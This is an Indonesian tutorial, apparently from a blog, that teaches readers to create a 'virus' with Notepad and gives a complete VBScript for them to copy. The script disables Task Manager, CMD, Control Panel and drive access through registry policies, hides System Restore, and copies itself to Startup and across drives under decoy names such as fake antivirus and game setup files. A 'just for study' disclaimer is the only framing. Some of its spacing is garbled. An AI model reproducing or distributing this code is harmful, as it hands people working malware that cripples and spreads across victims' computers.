cara membuat virus mudah mengunakan notepad ( just for studys)

Banyak hal yang dilakukan para coder/vmaker (ahli pembuat virus) untuk membuat virus, ada yang menggunakan visual basic,delpi, dan tools pembuat virus lainnya. Sebenarnya ada cara yang lebih mudah lagi yang bisa kita lakukan untuk membuat virus PC , percaya atau ga hanya dengan menggunakan notepad saja kita bisa membuat virus pc yang simple, tapi lumayan daya serangnya ke PC yang terinfeksi, syarat yang penting agar kita bisa membuat virus itu adalah dengan tau script2 nya.. yach!!! klo kita mau googling banyak sekali yang menyediakan script untuk membuat virus yang tinggal copas(copypaste) aja.. nah untuk yang mau coba-coba silahkan saja copy paste script dibawah ini di notepad.

On error resume next
Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner
set Regpen = CreateObject ("Wscript.Shell" )
set FSO = CreateObject ("Scripting. FileSystemObject ")
set Creator = FSO.CreateTextFile ("C:\Lovebaby. vbs", true)
Creator.WriteLine ("Msgbox ("& Chr (34) & "Salam Kenal dari Saya,
Mrs.Midori :<" & chr (34)& ")")
Creator.Close

Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\NoRun" ,"1","REG_ DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\DisableT askMgr"," 1","RE G_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\DisableC MD","1"," REG_DW ORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoFolderOption" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoDrives" ,"16","REG_ D WORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoSaveSettings" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoControlPanel" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \NoSetTaskbar" ,"1","REG_ DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ Advanced\ HideFileExt" ,"1","REG_DWORD"
Regpen.Regwrite "HKEY_LOCAL_ MACHINE\Software \Microsoft\ Windows\Cur
rentVersion\ Winlogon\ LegalNoticeCapti on", "love you full"
Regpen.RegWrite "HKEY_LOCAL_ MACHINE\Software \Microsoft\ Windows\Cur
rentVersion\ Winlogon\ LegalNoticeText" ,"LOVE ME WITH TRUE, YOUR LOVE"

Set Copier = FSO.GetFile ("C:\Lovebaby. vbs")
Copier.Copy ("C:\Documents and Settings\All Users\Start
Menu\Programs\ Startup\Adobe. vbs")

FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12" )
FSO.CreateFolder ("D:\Program" )
FSO.CreateFolder ("E:\Program" )
FSO.CreateFolder ("F:\Program" )
FSO.CreateFolder ("G:\Program" )
FSO.CreateFolder ("H:\Program" )
FSO.CreateFolder ("I:\Program" )
FSO.CreateFolder ("J:\Program" )
FSO.CreateFolder ("K:\Program" )

Set Deleter = FSO.GetFile ("C:\Windows\ System32\ Restore\rstrui. exe")
Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\ rstrui.Gnamu" )

set Dupler = FSO.GetFile (WScript.ScriptFull Name)
Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\ diansatro.vbs" )
Dupler.Copy ("C:\Documents and Settings\All Users\Start
Menu\Programs\ Startup\Desktop. ini.vbs")
Dupler.Copy ("C:\Documents and Settings\All
Users\Desktop\ Dajjal_Antivirus .exe.vbs" )
Dupler.Copy ("C:\Windows\ System32\ Restore\rstrui. exe.vbs")
Dupler.Copy ("D:\Program\ MotoGP_SETUP. vbs")
Dupler.Copy ("E:\Program\ TuneUp2009_ SETUP.vbs" )
Dupler.Copy ("F:\Program\ Ansav_SETUP. vbs")
Dupler.Copy ("G:\Program\ DeltaForce_ SETUP.vbs" )
Dupler.Copy ("H:\Program\ DeltaForce_ SETUP.vbs" )
Dupler.Copy ("I:\Program\ Ansav_SETUP. vbs")
Dupler.Copy ("J:\Program\ Project.vbs" )
Dupler.Copy ("K:\Program\ diansastro.vbs" )

Set Runner = WScript.CreateObjec t ("WScript.Shell" )
Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\ diansastro.vbs" )

Save as script tadi dan beri nama "*.vbs" example "diansastro.vbs". nah sebelum menjalankan nya pastikan data2 sudah di backup, n system restore aktif, jika terjadi sesuatu bisa diminimalisir dan saya tidak bertanggung jawab jika terjadi sesuatu pada computer anda. Just for study.. selamat mencoba..!!! by: nygma_team
Note: tulisan (midori,lovebaby,diansastor) bisa diganti sesuai keinginan, hanya untuk pembelajaran!!!!